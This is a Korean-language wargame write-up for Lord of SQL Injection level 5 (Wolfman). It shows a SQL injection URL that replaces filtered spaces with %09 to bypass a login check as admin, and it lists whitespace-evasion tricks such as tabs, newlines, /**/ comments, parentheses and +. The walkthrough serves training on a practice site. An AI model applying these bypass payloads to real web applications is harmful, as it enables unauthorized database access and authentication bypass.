WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 5 - Wolfman

어찌 보면 쉬어가는 시간이 될 거 같다. 저번 시간 Blind SQL Injection을 배웠으니, 이번 시간에는 공백을 우회하는 DB 테크닉을 조금 배워보자

<출처 : 위키백과 https://en.wikipedia.org/wiki/The_Wolf_Man_(1941_film) >


코드

눈에 띄는 금지어로 space(공백)이 있다. DB나 코드나 공백은 문법적으로 상당히 중요한 의미를 가진다.

기존대로 문제를 풀었다면 아마 다음과 같은 답이 바로 떠오를 것이다.

Answer url? : los.rubiya.kr/chall/XXXX.php?pw=1%27%20id=admin--%20;

 

아쉽지만 이번에 공백(space, %20) 불가하기에 다음의 필터링 화면을 만나볼 수 있다.

 

우리는 공백을 대체할 무엇인가가 필요하다

 


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=1%27%09or%09id=%27admin%27--%09;

 

당연한 이야기이지만, Databse에서 공백으로 여겨지는 다음과 같은 문자들이 있다. 이를 활용하여 공백을 우회한다.

1. %09 : TAB
2. %0A : new Line(\n)
3. %0D : Carrage Return(\r)
4. 강제주석 : /**/ (ex : id='admin' and pw='1' >> id='admin'/**/and/**/pw='1')
5. 괄호 : (), (ex : id='admin' and pw='1' >> id=('admin') and(pw='1'))
6. 더하기 : +, (ex : id='admin' and pw='1' >> id='admin'+and+pw='1')

* 이외에도 %0B, % 0C 또한 공백 우회 기법으로 사용된다.

 


이제 우리는 SQL Injection시 공백을 우회하는 기법을 알아내었다. 다음 만날 몬스터도 우회 기법 테크닉의 한 종류로 물리칠 수 있다. 다음 관문에서 기다리겠다.